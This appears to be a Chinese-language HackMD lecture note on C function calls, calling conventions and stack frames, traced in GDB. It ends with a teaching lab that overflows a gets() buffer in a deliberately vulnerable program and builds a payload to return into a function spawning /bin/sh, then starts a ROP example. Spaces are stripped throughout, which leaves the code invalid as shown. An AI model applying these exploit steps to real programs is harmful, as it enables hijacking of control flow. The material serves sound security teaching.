你所不知道的C 語言:函式呼叫篇 - HackMD

文章推薦指數: 80 %
投票人數:10人

倘若你對資訊安全有一定的認識,會知道stack(-based) buffer overflow,但真正讓 ... 因此,在早期的C 語言編譯器,強制規範function prototype 及函式宣告的順序是 ...        ownedthisnote   Published LinkedwithGitHub Like15 Bookmark Subscribe Edit --- tags:DYKC,C,CLANG,CLANGUAGE,function --- #[你所不知道的C語言](https://hackmd.io/@sysprog/c-prog/):函式呼叫篇 *函式呼叫和計算機結構的高度關聯* Copyright(**慣C**)2015-2017,2022[宅色夫](http://wiki.csie.ncku.edu.tw/User/jserv) ==[直播錄影](https://youtu.be/I0uVqReO0_I)== ##簡介 在C語言中,“function”其實是特化的形式,並非數學意義上的函數,而隱含一個狀態到另一個狀態的關聯,因此,我們將一般的Cfunction翻譯為「函式」,以區別數學意義上的函數(如abs,cos,exp)。

貌似直觀的函式呼叫背後隱含著各式深奧的議題,諸如callingconvention,applicationbinaryinterface(ABI),stack和heap等等。

倘若你對資訊安全有一定的認識,會知道stack(-based)bufferoverflow,但真正讓攻擊者得逞的機制尚有前述的函式呼叫,至於Return-orientedprogramming(ROP)型態的攻擊則修改函式的回傳地址,這也是callingconvention的範疇。

本講座將帶著學員重新探索函式呼叫背後的原理,從程式語言和計算機結構的發展簡史談起,讓學員自電腦軟硬體演化過程去掌握callingconvention的考量,伴隨著stack和heap的操作,再探討C程式如何處理函式呼叫、跨越函式間的跳躍(如[setjmp](https://man7.org/linux/man-pages/man3/setjmp.3.html)和[longjmp](https://linux.die.net/man/3/longjmp)),再來思索資訊安全和執行效率的議題。

##從functionprototype談起 其實由DennisM.Ritchie(以下簡稱dmr)開發的[早期C語言編譯器](https://www.bell-labs.com/usr/dmr/www/primevalC.html)並未明確要求functionprototype的順序。

dmr在1972年發展的早期C編譯器,原始程式碼後來被整理在名為["last1120c"磁帶](https://github.com/mortdeus/legacy-cc/)中,若我們仔細看[c00.c](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/c00.c)這檔案,可發現位於第269行的[mapch(c)函式定義](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/c00.c#L269),在沒有[forwarddeclaration](https://en.wikipedia.org/wiki/Forward_declaration)的狀況下,就分別於[第246行](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/c00.c#L246)和[第261行](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/c00.c#L261)呼叫,奇怪吧? 而且只要再瀏覽[last1120c](https://github.com/mortdeus/legacy-cc/blob/master/last1120c/)裡頭其他C語言程式後,就會發現根本沒有`#include`或`#define`這一類[Cpreprocessor](https://en.wikipedia.org/wiki/C_preprocessor)所支援的語法,那到底怎麼編譯呢?在回答這問題前,摘錄Wikipedia頁面的訊息: >AstheCpreprocessorcanbeinvokedseparatelyfromthecompilerwithwhichitissupplied,itcanbeusedseparately,ondifferentlanguages. >Notableexamplesincludeitsuseinthenow-deprecatedimakesystemandforpreprocessingFortran. 原來Cpreprocessor以獨立程式的形式存在,所以當我們用gcc或cl(Microsoft開發工具裡頭的C編譯器)編譯給定的C程式時,會呼叫cpp(伴隨在gcc專案的Cpreprocessor)一類的程式,先行展開巨集(macro)或施加條件編譯等操作,再來才會出動真正的C語言編譯器(在gcc中叫做`cc1`)。

值得注意的是,1972-1973年間被稱為"[VeryearlyCcompilers](https://www.bell-labs.com/usr/dmr/www/primevalC.html)"的實作中,不存在Cpreprocessor(!),當時dmr等人簡稱Ccompiler為`cc`,此慣例被沿用至今,而無論原始程式碼有幾個檔案,在編譯前,先用`cat`(該程式的作用是"concatenateandprintfile")一類的工具,將檔案串接為單一檔案,再來執行"cc"以便輸出對應的組合語言,之後就可透過assembler(組譯器,在UNIX稱為`as`)轉換為目標碼,搭配linker(在UNIX稱為`ld`)則輸出執行擋。

因此,在早期的C語言編譯器,強制規範functionprototype及函式宣告的順序是完全沒有必要的,要到1974年Cpreprocessor才正式出現在世人面前,儘管當時的實作仍相當陽春,可參見dmr撰寫的〈[TheDevelopmentoftheCLanguage](https://www.bell-labs.com/usr/dmr/www/chist.html)〉,C語言的標準化則是另一段漫長的旅程,來自BellLabs的火種,透過UNIX來到研究機構和公司行號,持續影響著你我所處的資訊社會。

在早期的C語言中,若一個函式之前沒有聲明(declare),一旦函式名稱出現在表達式中,後面跟著`(`左括號,那它會被解讀為回傳型態為`int`的函式,並且對它的參數沒有任何假設。

但這樣行為可能會導致問題,考慮以下程式碼: ```cpp= #include intfactorial(intn); intmain(void){ printf("%d\n",factorial()); return0; } intfactorial(intn){ if(n==0)return1; returnn*factorial(n-1); } ``` `factorial`函式在被呼叫時,會從堆疊(stack)或暫存器中取出整數型態的參數,若忽略第3行functionprototype,編譯器將無從正確判斷,在第6行傳遞給`factorial`函式的參數是否符合預期的型態和數量。

過往不用在C程式特別做functionprototype的特性已自C99標準中刪除,因此省略functionprototype將導致編譯錯誤。

你或許會好奇,functionprototype的規範還有什麼好處呢?這就要從《[RationaleforInternationalStandard--ProgrammingLanguages--C](http://pllab.cs.nthu.edu.tw/cs340402/readings/c/c9x_standard.pdf)》(以下簡稱C9XRATIONALE)閱讀起,依據第70頁(PDF檔案對應於第78頁),提到以下的解說範例: ```cpp externintcompare(constchar*string1,constchar*string2); voidfunc2(intx){ char*str1,*str2; //... x=compare(str1,str2); //... } ``` 編譯器裡頭的最佳化階段(optimizer)可從functionprototype得知,傳遞給函式`compare`的兩個指標型態參數,由於明確標注`const`修飾子,所以僅有記憶體地址的使用並讀取相對應的內容,但不會因而變更指標所指向的記憶體內容,從而沒有產生副作用([sideeffect](https://en.wikipedia.org/wiki/Side_effect_(computer_science)))。

這樣編譯器可有更大的最佳化空間,可對照[你所不知道的C語言:編譯器和最佳化原理篇](https://hackmd.io/@sysprog/c-compiler-optimization),得知相關最佳化手法。

##程式語言發展 一如C9XRATIONALE提到,現代C語言和[其他受Algol-68影響的程式語言](https://rosettacode.org/wiki/Function_prototype),具備functionprototype機制,這使得編譯時期,就能進行有效的錯誤分析和偵測。

無論是C語言、B語言,還是Pascal語言,都可追溯到[ALGOL60](https://en.wikipedia.org/wiki/ALGOL_60)。

ALGOL是AlgorithmicLanguage(演算法使用的語言)的縮寫,提出巢狀(nested)結構和一系列程式流程控制,今日我們熟知的if-else語法,就在[ALGOL60](https://en.wikipedia.org/wiki/ALGOL_60)出現。

ALGOL60和COBOL程式語言並列史上最早工業標準化的程式語言。

黑格爾在其1820年的著作《法哲學原理》(GrundlinienderPhilosophiedesRechts)提到:(德語原文) >Wasvernünftigist,dasistwirklich;undwaswirklichist,dasistvernünftig 英語可解讀為"Whatisrationalisactualandwhatisactualisrational."(凡是合乎理性的都是現實的,現實的都是合乎理性),其中"vernünftig"和"Vernuft"(理性)有關,英譯成"reasonable"或"rational"都非漢語「合理」的意思。

黑格爾認為,宇宙的本原是絕對精神(derabsoluteGeist),它自在地具備著一切,外化出自然界、人類社會、精神科學,最後在更高的層次上回歸自身。

像是C語言這樣的工業標準,至今仍活躍地演化,當我們回顧發展軌跡時,凡是合乎理性(vernuftig),也就必然會出現、或成為現實(wirklich),反過來說也成立。

甚至我們可推敲C9XRATIONALE字裡行間,每個看似死板規則的背後,其實都可追溯出像是上方的討論。

*早期C語言(1972-1973)$\to$K&RC(1976-1979)$\to$ANSIC(自1983年起,直到1989年才完成標準化,即C89)$\to$[ISO/IEC9899:1990](https://www.iso.org/standard/17782.html) *ANSIC$\to$C++(1983-),後者融合[Simula67](https://en.wikipedia.org/wiki/Simula)和Ada特色  *早期的C++編譯器稱為[Cfront](https://en.wikipedia.org/wiki/Cfront),以"Cwithclasses"為人所知 *source:[HistoryofC](http://en.cppreference.com/w/c/language/history) *許多程式語言允許function和data一樣在function內部定義,但C語言不允許這樣的nestedfunction,換言之,C語言所有的function在語法層面都是位於最頂層(top-level) *gcc提供[nestedfunction](https://gcc.gnu.org/onlinedocs/gcc/Nested-Functions.html)擴展 *「不允許nestedfunction」這件事簡化C編譯器的設計 *在Pascal,Ada,Modula-2,PL/I,Algol-60這些允許nestedfunction的程式語言中,需要一個稱為staticlink的機制來紀錄指向目前function的外層function的資訊 *uplevelreference ##再論Function ![](https://hackpad-attachments.s3.amazonaws.com/embedded2015.hackpad.com_2q5oxqltYTG_p.299401_1455784004886_undefined) [數學定義的Function](https://www.cs.colorado.edu/~srirams/courses/csci2824-spr14/functionsCompositionAndInverse-17.html)(==函數==) *函數(function)f:$A\toB$是一個對應,滿足:對所有$a\inA$,存在惟一$b\inB$,使得f將a對應到b。

即$\foralla\inA,\exists!b\inB$使得$f(a)=b$。

*A稱為f的定義域(domain),B稱為f的對應域(codomain):$f(a)=\{f(a)|a\inA\}\subsetB$稱為f的值域(range)。

>f可視為從A到f(A)的函數。

*[FunctionComposition](https://en.wikipedia.org/wiki/Function_composition)本身可以組合,例如$g\circf(x)=g(f(x))$ ![](https://hackpad-attachments.s3.amazonaws.com/embedded2015.hackpad.com_2q5oxqltYTG_p.299401_1455784093894_func.png) Parametervs.Argument +Parameter(發音[pɚ'ræmətɚ](https://cdict.net/q/parameter))(formalparameter) ```c voidfoo(intx){} ^ ``` +Argument(actualargument):因此命名慣例是`argc`(實際參數的數量)和`argv`(實際參數的向量) ```c foo(4); ^ ``` >C++甚至有[Templateparametersandtemplatearguments](https://en.cppreference.com/w/cpp/language/template_parameters) 在C語言中,"function"其實是特化的形式,並非數學意義上的函數,而隱含一個狀態到另一個狀態的關聯。

(==函式==) 摘自[Whatisthedifferencebetweenfunctionsinmathandfunctionsinprogramming?](https://stackoverflow.com/questions/3605383/what-is-the-difference-between-functions-in-math-and-functions-in-programming)的討論: >Infunctionalprogrammingyouhave[ReferentialTransparency](https://en.wikipedia.org/wiki/Referential_transparency),whichmeansthatyoucanreplaceafunctionwithitsvaluewithoutalteringtheprogram.ThisistrueinMathtoo,butthisisnotalwaystruein[Imperativelanguages](https://en.wikipedia.org/wiki/Imperative_programming). >.. >Themaindifference,is,then,thatALWAYSifyoucall`f(x)`inmath,youwillgetthesameanswer,butifyoucall`f'(x)`inC,theanswermaynotbethesame(tosameargumentsdon'tgetthesameoutput). 其中[Imperativelanguages](https://en.wikipedia.org/wiki/Imperative_programming)可翻譯為「指令式程式語言」,幾乎所有電腦硬體都採指令式工作,較高階的指令式程式語言使用變數和更複雜的語句,但仍依從相同的典範。

在數學函數中$y=f(x)$,一個輸入值有固定的輸出值,無論計算多少次,$sin\pi$的結果總是$0$,但在C函式中,函式的執行不僅依賴於輸入值,而且會受到全域變數、記憶體內容、已開啟的檔案、其他變數,甚至是作業系統/執行環境等諸多因素的影響。

在Linux一類UNIX風格的作業系統中,呼叫[getpid](https://man7.org/linux/man-pages/man2/getpid.2.html)函式永遠會成功得到某個整數,而且同一個process(行程)中,無論[getpid()](https://man7.org/linux/man-pages/man2/getpid.2.html)呼叫多少次,必得到同一個整數,但在其他process中,[getpid()](https://man7.org/linux/man-pages/man2/getpid.2.html)會得到另一個數值。

再者,考慮以下C程式: ```cpp staticintcounter=0; intcount(){return++counter;} ``` 此函式沒有輸入值,但每次呼叫後都返回不同的結果。

反之,函數的返回值只依賴於其輸入值,這種特性就稱為[ReferentialTransparency](https://en.wikipedia.org/wiki/Referential_transparency)。

##Process和C程式的關聯 :::info 背景知識: 1.IRQ(interruptrequest) 2.ISR(InterruptServiceRoutines) 3.IRQmode 4.MMIOv.sPMIO 以網路卡的流程為例: *封包進來->interrupt->ISR->IRQmode->下圖綠色的區塊裡面(IORQ)進行記憶體操作(讀取/寫入資料) ![imagealt](https://images2017.cnblogs.com/blog/1094457/201710/1094457-20171019112241084-1805450176.png) ::: *[TheInternalsof"HelloWorld"Program](http://www.slideshare.net/jserv/helloworld-internals) ![](https://hackpad-attachments.s3.amazonaws.com/embedded2015.hackpad.com_2q5oxqltYTG_p.299401_1449482197657_undefined) VirtualMemory與C語言角度的memory:[source](http://www.study-area.org/cyril/opentools/opentools/x909.html)(注意address是降冪還是升冪) *Process角度的Memory:([source](https://manybutfinite.com/post/anatomy-of-a-program-in-memory/)) *==在ELF裡頭為section,進入到memory後則以process的segment去看。

== *注意,這裡是virtualmemoryaddress(VMA)!([VMA與ELF對應](https://www.jollen.org/blog/2007/01/process_vma.html)) *Stack:由高位址長至低位址,儲存函式呼叫時個別stackframe的localvariables與returnaddress等。

*Heap:由低位址長至高位址,動態記憶體配置。

*BSSsegement:BlockStartedbySymbol,尚未初始化的變數。

*Datasegement:已經被初始化後的變數。

*在此宣告的變數會存在**datasegment**,例如:`intcontent=10`。

*但是宣告在此的pointer所指向的內容則不會,也就是說`gonzo`的內容`God'sownprototype`會是放在textsegment裡,只有pointer所存的**位址**會在datasegment。

*Textsegement:存放使用者程式的binarycode。

*裡頭變數的排序不一定是遞增或遞減。

![](https://i.imgur.com/DpZOmhb.png) *instructions:自objectfile(ELF)映射(map)到process的programcode(機械碼) *staticdata:靜態初始化的變數 *BSS:全名已==不可考==,一般認定為"BlockStartedbySymbol”,未初始化的變數或資料 *可用`size`命令來觀察 *Heap或datasegment:執行時期才動態配置的空間 *sbrk系統呼叫(sbrk=setbreak)  *malloc/free實際的實作透過sbrk系統呼叫 video:[CallStack](https://www.youtube.com/watch?v=5xUDoKkmuyw):生動地解釋函式之間的關聯 ELFsegment&section 一個segment包含若干個section ```shell $sudocat/proc/1/maps|less 55cff6602000-55cff678b000rw-p[heap] 7fff7e13f000-7fff7e160000rw-p[stack] ``` programloader XIP:executioninplace ###回傳值 +回傳值放在暫存器可以提高效能,放不下的就放起始位址(e.g.struct) +實驗:(bigreturn.c) +使用gcc7.3Intel架構(`gcc-Sbigreturn.c-obigreturn.s`) +因為程式過於冗長,所以除了第一種 +其他以綠色表示returnret;、藍色表示Foob=get_foo();相關的部份 +a.成員只有1個integer

#include<stdio.h>
typedefstruct{inta[1];}Foo;
Fooget_foo()
{
Fooret={};
returnret;
}
intmain(){
Foob=get_foo();
return0;
}
對應的組合語言如下[[link]](https://godbolt.org/z/N9a4oJ) 可以發現回傳時直接存到%eax中,main函式直接去%eax取 p.s.因為一個整數只有32bits所以使用32位元的暫存器
get_foo:
pushq%rbp
movq%rsp,%rbp
movl$0,-4(%rbp)
movl-4(%rbp),%eax
popq%rbp
ret
main:
pushq%rbp
movq%rsp,%rbp
subq$16,%rsp
movl$0,%eax
callget_foo
movl%eax,-4(%rbp)
movl$0,%eax
leave
ret
+b.成員有2個integer
typedefstruct{inta[2];}Foo;
[[link]](https://godbolt.org/z/wyFze3) 換成使用64bits的暫存器%rax放2個整數
movq-8(%rbp),%rax
movl$0,%eax
callget_foo
movq%rax,-8(%rbp)

+c.成員有4個integer
typedefstruct{inta[4];}Foo;
[[link]](https://godbolt.org/z/QaC13r) 換成使用2個64bits的暫存器%rax放4個整數
movq-16(%rbp),%rax
movq-8(%rbp),%rdx
movl$0,%eax
callget_foo
movq%rax,-16(%rbp)
movq%rdx,-8(%rbp)

+d.大於4個integer就不一樣了,以8為例
typedefstruct{inta[8];}Foo;
[[link]](https://godbolt.org/z/HNCVfp) 有leaq的指令出現 LEA(LoadEffectiveAddress)用法查到很多種,又都不像是這裡的用法
movq-40(%rbp),%rcx
movq-32(%rbp),%rax
movq-24(%rbp),%rdx
movq%rax,(%rcx)
movq%rdx,8(%rcx)
movq-16(%rbp),%rax
movq-8(%rbp),%rdx
movq%rax,16(%rcx)
movq%rdx,24(%rcx)
leaq-32(%rbp),%rax
movq%rax,%rdi
movl$0,%eax
callget_foo

##Stack stackframe最好的朋友是2個暫存器: *stackpointer *framepointer ###Stack名詞解釋 x86_64暫存器: -rip(instructionpointer):記錄下個要執行的指令位址 -rsp(stackpointer):指向stack頂端 -rbp(basepointer,framepointer):指向stack底部 ![](https://i.imgur.com/S5QUT5I.png) ###動態追蹤Stack 用一個小程式來觀察stack的操作:(檔名`stack.c`) ```cpp intfuncB(inta){ returna+1; } intfuncA(intb){ returnfuncB(b); } intmain(){ inta=funcA(1); return0; } ``` 編譯時加上`-g`以利後續GDB追蹤: ```shell $gcc-ostack-g-no-piestack.c ``` >`-no-pie`編譯選項是抑制[PositionIndependentExecutables(PIE)](https://www.redhat.com/en/blog/position-independent-executables-pie),便於後續分析。

若你的gcc版本較舊,可能沒有該編譯選項,可自行移去。

>PIE是啟用[addressspacelayoutrandomization](https://en.wikipedia.org/wiki/Address_space_layout_randomization)(ASLR)的預備動作,用以強化核心載入程式時,確保虛擬記憶體的排列不會總是一樣。

透過gdb追蹤程式: ```shell $gdb-qstack ``` 在GDB中使用`disas`命令將其反組譯,預設是AT&T語法,我們可改為Intel語法,得到更簡潔的輸出: ```shell (gdb)setdisassembly-flavorintel ``` :::info 以==`(gdb)`==開頭的文字表示在GDB輸入的命令 ::: >關於二者語法的差異,可見[IntelandAT&TSyntax.](https://imada.sdu.dk/~kslarsen/dm546/Material/IntelnATT.htm) ```shell (gdb)disasmain Dumpofassemblercodeforfunctionmain: 0x0000000000400501:pushrbp 0x0000000000400502:movrbp,rsp 0x0000000000400505:subrsp,0x10 0x0000000000400509:movedi,0x1 0x000000000040050e:call0x4004d6#注意到此處,讀者可先抄寫本地址 0x0000000000400513:movDWORDPTR[rbp-0x4],eax#這段地址也可抄下,函式呼叫的返回地址 0x0000000000400516:moveax,0x0 0x000000000040051b:leave 0x000000000040051c:ret Endofassemblerdump. (gdb)disasfuncA DumpofassemblercodeforfunctionfuncA: 0x00000000004004d6:pushrbp 0x00000000004004d7:movrbp,rsp 0x00000000004004da:subrsp,0x10 0x00000000004004de:movDWORDPTR[rbp-0x4],edi 0x00000000004004e1:moveax,DWORDPTR[rbp-0x4] 0x00000000004004e4:movedi,eax 0x00000000004004e6:moveax,0x0 0x00000000004004eb:call0x4004f2 0x00000000004004f0:leave 0x00000000004004f1:ret Endofassemblerdump. (gdb)disasfuncB DumpofassemblercodeforfunctionfuncB: 0x00000000004004f2:pushrbp 0x00000000004004f3:movrbp,rsp 0x00000000004004f6:movDWORDPTR[rbp-0x4],edi 0x00000000004004f9:moveax,DWORDPTR[rbp-0x4] 0x00000000004004fc:addeax,0x1 0x00000000004004ff:poprbp 0x0000000000400500:ret Endofassemblerdump. ``` 我們準備要觀察進入function時stack的操作,因此將中斷點設定於進入`funcA()`之前,也就是第10行的位置: ```shell (gdb)b*0x000000000040050e Breakpoint1at0x4004ec:filestack.c,line10. (gdb)r ``` 看到`Breakpoint1`的訊息,就表示成功觸發中斷點: ```shell (gdb)p$rbp $1=(void*)0x7fffffffe480 (gdb)p$rsp $2=(void*)0x7fffffffe470 ``` 此時stack示意如下: ![](https://i.imgur.com/V7MJUpb.png=400x) 在執行`callfuncA`之後,`call`指令會做pushnextinstructionaddress,也就是回到`main`的返回地址: ```shell (gdb)x$rsp 0x7fffffffe480:00400513 ``` -[]`callfuncA` ![](https://i.imgur.com/kO1gVlK.png=400x) 接著進入funcA(),其instruction操作如下: ```shell DumpofassemblercodeforfunctionfuncA: 0x00000000004004d6:pushrbp 0x00000000004004d7:movrbp,rsp 0x00000000004004da:subrsp,0x10 0x00000000004004de:movDWORDPTR[rbp-0x4],edi 0x00000000004004e1:moveax,DWORDPTR[rbp-0x4] 0x00000000004004e4:movedi,eax 0x00000000004004e6:moveax,0x0 0x00000000004004eb:call0x4004f2 0x00000000004004f0:leave 0x00000000004004f1:ret Endofassemblerdump. ``` -[]`pushrbp` ![](https://i.imgur.com/vQDaJW8.png=400x) -[]`movrbp,rsp` ![](https://i.imgur.com/Os3TyG0.png=400x) -[]`subrsp,0x10` ![](https://i.imgur.com/EdzoTsU.png=400x) 至此,`funcA`的stackframe就已完成。

在函式呼叫尾聲,即將返回時,`funcA`會執行`leave`,其效果如下: ``` movrsp,rbp poprbp ``` -[]`movrsp,rbp` ![](https://i.imgur.com/i2bu0fR.png=400x) -[]`poprbp` ![](https://i.imgur.com/WbNusOO.png=400x) 此時rsp已經指向`main`函式的返回地址,接著呼叫ret時,rip就會指向返回定址,並將stackframe的狀態回復到main的stackframe -[]ret >![](https://i.imgur.com/3ewDJv8.png=400x) 另外,我們也可比較`funcA`與`funcB`之差異:`funcA`有`subrsp,0x8`這道指令,但`funcB`卻沒有,是因編譯器已知`funcB`之後,就不會再呼叫別的函式,也沒有`push`,`pop`等操作,因此`rsp`也不需要特別保留一段空間給`funcB`。

```shell (gdb)disasfuncA DumpofassemblercodeforfunctionfuncA: 0x00000000004004d6:pushrbp 0x00000000004004d7:movrbp,rsp 0x00000000004004da:subrsp,0x10 0x00000000004004de:movDWORDPTR[rbp-0x4],edi 0x00000000004004e1:moveax,DWORDPTR[rbp-0x4] 0x00000000004004e4:movedi,eax 0x00000000004004e6:moveax,0x0 0x00000000004004eb:call0x4004f2 0x00000000004004f0:leave 0x00000000004004f1:ret Endofassemblerdump. (gdb)disasfuncB DumpofassemblercodeforfunctionfuncB: 0x00000000004004f2:pushrbp 0x00000000004004f3:movrbp,rsp 0x00000000004004f6:movDWORDPTR[rbp-0x4],edi 0x00000000004004f9:moveax,DWORDPTR[rbp-0x4] 0x00000000004004fc:addeax,0x1 0x00000000004004ff:poprbp 0x0000000000400500:ret Endofassemblerdump. ``` stackframe之範圍於[SystemVApplicationBinaryInterfaceAMD64ArchitectureProcessorSupplement](https://github.com/hjl-tools/x86-psABI/wiki/x86-64-psABI-1.0.pdf)中定義為: ![](https://i.imgur.com/Fec7Vyx.png) ##從遞迴觀察函式呼叫 >關於遞迴呼叫,詳見[你所不知道的C語言:遞迴呼叫篇](https://hackmd.io/@sysprog/c-recursion) -[]`infinite.c` ```cpp intfunc(){ staticintcount=0; return++count&&func(); } intmain(){ returnfunc(); } ``` 用GDB執行和測試,記得加上`-g`: ```shell $gcc-oinfiniteinfinite.c-g-no-pie $gdb-qinfinite Readingsymbolsfrominfinite...done. (gdb)r Startingprogram:/tmp/infinite ProgramreceivedsignalSIGSEGV,Segmentationfault. 0x00000000004004f8infunc()atinfinite.c:3 3return++count&&func(); (gdb)pcount $1=524092 ``` 如果將 infinite.c改為以下,重複上述動作: ```cpp intfunc(intx){ staticintcount=0; return++count&&func(x++); } intmain(){ returnfunc(0); } ``` 將得到: ```shell ProgramreceivedsignalSIGSEGV,Segmentationfault. 0x0000000000400505infunc(x=1)atinfinite.c:3 3return++count&&func(x++); (gdb)pcount $1=262046 ``` 繼續修改`infinite.c`為以下,重複上述動作: ```cpp intfunc(intx){ staticintcount=0; inty=x;//localvar return++count&&func(x++); } intmain(){ returnfunc(0); } ``` 將得到以下: ```shell ProgramreceivedsignalSIGSEGV,Segmentationfault. 0x00000000004004deinfunc(x=)atinfinite.c:1 1intfunc(intx){ (gdb)pcount $1=174697 ``` stack裡面有x(parameter),y(localvariable),returnaddress stackframe 觀察UNIXProcess中的stack空間: ```shell $sudocat/proc/1/maps|grepstack 7fff7e13f000-7fff7e160000rw-p0000000000:000[stack] ``` 60000~Hex~-3f000~Hex~=21000~Hex~=135168~Dec~ 135168*4=540672 這跟前面的數字很接近! ##stack-basedbufferoverflow *[CVE-2015-7547](https://access.redhat.com/security/cve/cve-2015-7547) -vulnerabilityinglibc’sDNSclient-sideresolverthatisusedtotranslatehuman-readabledomainnames,likegoogle.com,intoanetworkIPaddress. -[解說](http://thehackernews.com/2016/02/glibc-linux-flaw.html) :::info 以下實驗需要用到[PEDA](https://github.com/longld/peda)這項GDB擴充,安裝方式: ```shell $gitclonehttps://github.com/longld/peda.git~/peda $echo"source~/peda/peda.py">>~/.gdbinit ``` ::: 準備測試程式:(檔名`bof.c`) ```cpp= intevil(){ system("/bin/sh"); } intmain(){ charinput[10]; puts("Input:"); gets(input); puts(input); } ``` 這段程式碼展示最基本的[bufferoverflow](https://en.wikipedia.org/wiki/Buffer_overflow)如何達成攻擊。

由第8行可見,被攻擊者使用缺乏長度檢查的函式[gets()](https://man7.org/linux/man-pages/man3/gets.3.html),此外上面有一個函式會去執行`/bin/sh`,雖然使用者在一般情境無法合法的呼叫他,但是卻可以透過bufferoverflow達到改變程式流程,並觸發這個危險的函式。

首先,我們先將程式做編譯。

這邊需要特別注意的是,我們需要加上`-fno-stack-protector`以關閉`CANNARY`這個記憶體保護機制,相關的記憶體保護機制會在後面稍做介紹。

```shell $gcc-obof-fno-stack-protector-g-no-piebof.c ``` 接著可以嘗試觀察這之程式的行為,可以發現程式的行為非常單純,他會將你的輸入照實的印出來,這麼單純的程式裡頭到底暗藏的什麼玄機就讓我們繼續看下去! ```shell $./bof Input: abc abc ``` ####WhySegmentationfault? 接著可以嘗試對這支程式做一些粗暴的事情:用超過長度的字串塞爆他。

```shell $gdb-qbof (gdb)r Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ProgramreceivedsignalSIGSEGV,Segmentationfault. ``` 這支程式沒意外的崩潰了,並顯示`Segmentationfault`, ```shell (gdb)x/16ginput 0x7fffffffe470:0x61616161616161610x6161616161616161 0x7fffffffe480:0x61616161616161610x6161616161616161 0x7fffffffe490:0x61616161616161610x6161616161616161 0x7fffffffe4a0:0x61616161616161610x6161616161616161 0x7fffffffe4b0:0x61616161616161610x0061616161616161 0x7fffffffe4c0:0x00000000004004c00x00007fffffffe560 0x7fffffffe4d0:0x00000000000000000x0000000000000000 0x7fffffffe4e0:0x06fe5dce4008e8240x06fe4d7426f8e824 ``` 可以看到在記憶體中塞了滿滿的`0x61`,也就是我們剛剛輸入的`a`。

在上面的stack介紹中曾經提到區域變數會被存放於stack中,因此`input`這個區域變數是位於`main`函式的stack中。

而位於`stack`最頂端的是函式的`returnaddress`因此我們可推測是輸入的`a`蓋到`returnaddress`導致`rip`指到無法存取的地方。

將中斷點下在`main+53`的位置,並觀察接下來`rsp`,也就是位於`returnaddress`的值 ```shell (gdb)pdmain Dumpofassemblercodeforfunctionmain: 0x00000000004005cc:pushrbp 0x00000000004005cd:movrbp,rsp 0x00000000004005d0:subrsp,0x10 0x00000000004005d4:movedi,0x40069c 0x00000000004005d9:call0x400470 0x00000000004005de:learax,[rbp-0x10] 0x00000000004005e2:movrdi,rax 0x00000000004005e5:moveax,0x0 0x00000000004005ea:call0x4004a0 0x00000000004005ef:learax,[rbp-0x10] 0x00000000004005f3:movrdi,rax 0x00000000004005f6:call0x400470 0x00000000004005fb:moveax,0x0 0x0000000000400600:leave =>0x0000000000400601:ret Endofassemblerdump. (gdb)b*0x0000000000400601 Breakpoint1at0x400601:filebof.c,line10. (gdb)c Continuing. (gdb)p$rsp $7=(void*)0x7fffffffe488 gdb-peda$x/g0x7fffffffe488 0x7fffffffe488:0x6161616161616161 ``` 可見`returnaddress`指向0x6161616161616161 ```shell (gdb)vmmap StartEndPermName 0x004000000x00401000r-xp/tmp/bof 0x006000000x00601000r--p/tmp/bof 0x006010000x00602000rw-p/tmp/bof 0x006020000x00623000rw-p[heap] 0x00007ffff7a0d0000x00007ffff7bcd000r-xp/lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd0000x00007ffff7dcd000---p/lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd0000x00007ffff7dd1000r--p/lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd10000x00007ffff7dd3000rw-p/lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd30000x00007ffff7dd7000rw-pmapped 0x00007ffff7dd70000x00007ffff7dfd000r-xp/lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fea0000x00007ffff7fed000rw-pmapped 0x00007ffff7ff80000x00007ffff7ffa000r--p[vvar] 0x00007ffff7ffa0000x00007ffff7ffc000r-xp[vdso] 0x00007ffff7ffc0000x00007ffff7ffd000r--p/lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffd0000x00007ffff7ffe000rw-p/lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffe0000x00007ffff7fff000rw-pmapped 0x00007ffffffde0000x00007ffffffff000rw-p[stack] 0xffffffffff6000000xffffffffff601000r-xp[vsyscall] ``` 使用`vmmap`可知`0x6161616161616161`並不屬於該程式可以存取之範圍,所以才會拋出`Segmentationfault`這樣的訊息。

可推斷在`gets(input)`之後之記憶體狀況如下圖: ![](https://i.imgur.com/qeuZwPx.png=400x) ####Returnto`evil()` 既然我們可以把`rip`導到`0x6161616161616161`讓他崩潰,為何不將其導到evil()呢? ```shell (gdb)pevil $15={int()}0x4005b6 ``` x86-64是以`littleendian`將值存放於記憶體中,因此我們必須先將`0x4005b6`轉換為littleendian的表示法:`\xb6\x05@\x00\x00\x00\x00\x00` 接著還缺到returnaddress的offset,因此可以回到GDB中計算。

為了方便計算這邊的輸入值為依序輸入abc...xyz ```shell (gdb)r Input: abcdefghijklmnopqsttuvwxyzabcdefghijklmnop abcdefghijklmnopqsttuvwxyzabcdefghijklmnop ProgramreceivedsignalSIGSEGV,Segmentationfault. (gdb)p$rsp $3=(void*)0x7fffffffe488 (gdb)x/s0x7fffffffe488 0x7fffffffe488:"yzabcdefghijklmnop" ``` 看到`$rsp`的第一個字為`y`,而'y'之前有24個字母,也就是我們需要填入24個值才碰的到returnaddress,利用得到的資訊撰寫以下exploit,並成功執行`/bin/sh` ```shell $echo-ne"aaaaaaaaaaaaaaaaaaaaaaaa\xb6\x05@\x00\x00\x00\x00\x00">payload $./bof #include intmain(){ charbuf[20]; puts("DoyouwanttolearnROP?\n"); printf("Youranswer?\n"); fflush(stdout); read(0,buf,160); } ``` 編譯時關閉gcc的保護stackoverflow保護機制及關閉ALSR ```shell $gcc-oroprop.c-fno-stack-protector-no-pie-static ``` ###確認bufferoverflow會碰觸到retrunaddress 